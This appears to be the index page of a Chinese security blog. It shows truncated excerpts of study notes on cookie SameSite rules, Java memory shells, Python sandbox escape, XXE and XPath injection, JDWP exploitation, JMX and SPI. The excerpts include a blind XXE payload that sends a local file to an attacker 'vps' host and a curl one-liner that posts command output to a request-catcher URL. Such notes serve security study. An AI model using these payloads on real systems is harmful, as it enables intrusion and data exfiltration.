无题
SameSite None Will be sent in all cross origin requests it will be treated as normal (old) cookies SameSite None 将在所有跨域请求中发送,它将被视为普通(旧)cookie SameSite Lax Will be sent only in GET request in top window navigations such as _<a>_ tag,window.open()… SameSite Lax 将仅在顶部窗口导航(如 <a> tag, window.open())的 GET 请求中发送。 SameSite Strict Will be sent only when the user types the website in the URL bar and presses enter SameSite Strict 仅当用户在 URL 栏中键入网站并按回车键时才会发送 没有 SameSite 属性的 Cookie 将被视为宽松,这意味着 Coo ...
无题
Listener 开调试 Listener在上面获取的 public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener);} 调用context的方法加 获取context, <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext();%> jsp直接有context Filter 按栈帧遍历 主要看这三个filter filterConfigs需要 filter和filterDef filterDefs需要filter,filterCla ...
无题
传统web应用内存马 Servlet内存马 动态注册Servlet及其映射路由 Filter内存马 动态注册Filter及其路由 Listener内存马 动态注册Listener 框架型内存马 Spring Controller spring Interceptor spring Webflux 中间件内存马 Tomcat Valve Tomcat Upgrade Tomcat Executor Tomcat Poller Grizzly Filter Other Websocket Tomcat JSP 线程型内存马 RMI内存马 Agent内存马
无题
def factorization(n): classes = ''.__class__.__base__.__subclasses__() sys_not_found = True os_not_found = True for (idx, c) in enumerate(classes): i = c.__init__ if "__globals__" not in dir(i): continue g = i.__globals__ if sys_not_found and 'sys' in g: print(f"sys = classes[{idx}].__init__.__globals__['sys']") sys = g['sys'] sys_not_found = F ...
无题
代码结构 common/: 存放通用类,如工具类和通用返回结果 config/: 存放配置文件 controller/: 存放控制器,接收从前端传来的参数,对访问控制进行转发、各类基本参数校验或者不复用的业务简单处理等。 dao/: 数据访问层,与数据库进行交互,负责数据库操作,在Mybaits框架中存放自定义的Mapper接口 entity/: 存放实体类 interceptor/: 拦截器 service/: 存放服务类,负责业务模块逻辑处理。Service层中有两种类,一是Service,用来声明接口;二是ServiceImpl,作为实现类实现接口中的方法。 utils/: 存放工具类 NewBeeMallApplication.java: Spring Boot启动类 dto/: 存放数据传输对象(Data Transfer Object),如请求参数和返回结果 vo/: 视图对象(View Object)用于封装客户端请求的数据,防止部分数据泄漏,保证数据安全 constant/: 存放常量 filter/: 存放过滤器 component/: 存放组件 资源目录结构 在sr ...
无题
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:///tmp/1.txt"><!ENTITY % print "<!ENTITY send SYSTEM 'http://vps:port/?%file;'>">%print; 他说的这个报错的成功不了 <!ENTITY % evil SYSTEM "file:///" ><!ENTITY % print "<!ENTITY send SYSTEM 'netdoc://%evil;'>">%print; 另外CDATE别忘了 <?xml version="1.0" encoding="UTF-8" standalone="no"?>< ...
无题
和sql注入有点像,xml的语法 <?phpif(file_exists('t3stt3st.xml')) {$xml = simplexml_load_file('t3stt3st.xml');$user=$_GET['user'];$query="user/username[@name='".$user."']";$ans = $xml->xpath($query);foreach($ans as $x => $x_value){echo "2";echo $x.": " . $x_value;echo "<br />";}}?> <?xml version="1.0" encoding="utf-8"?><root1><user><usernam ...
无题
无题
JPDA JDWP java调试线协议,Debugger和被调试的JVM之间的通信协议 探测 Nmap nmap -sT -sV 192.168.192.1 -p 8000 Telnet ip port 需要马上输入JDWP-Handshake,然后服务端返回一样的内容,证明是JDWP服务 脚本 import socketclient = socket.socket()client.connect(("127.0.0.1", 8000))client.send(b"JDWP-Handshake")if client.recv(1024) == b"JDWP-Handshake": print("[*]JDWP Service!")client.close() 工具 需要Python2运行 jdwp-shellifier //DNSLog外带python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.Stri ...
无题
webhook # Request Catcher curl -X POST -d "$(ls -a)" https://dionysus.requestcatcher.com/test
无题
Java Management Extensions java管理拓展,管理和检测java程序 最常用的就是对JVM的监测和管理,比如 log4j 就支持 JMX 方式动态修改线上服务的日志级别 JMX 中共有四种类型的 MBean,分别是 Standard MBean, Dynamic MBean, Open MBean, Model MBean JDK 提供的 MBean 主要在 java.lang.management 和 javax.management包里面 接口后缀要是MBean,倒是不知道怎么利用
无题
Service Provider Interface 通过在ClassPath下的META-INF/services文件夹查找文件,自动加载文件里所定义的类 在Dubbo、JDBC中都使用到了SPI机制 package tmp.SPI;import sun.misc.Service;import java.util.Iterator;import java.util.ServiceLoader;public class Test { public static void main(String[] args) { Iterator<SPIService> providers = Service.providers(SPIService.class); ServiceLoader<SPIService> load = ServiceLoader.load(SPIService.class); while(providers.hasNext()) { SPIServ ...
avatar
dionysus
我醉欲眠卿且去
此心安处
公告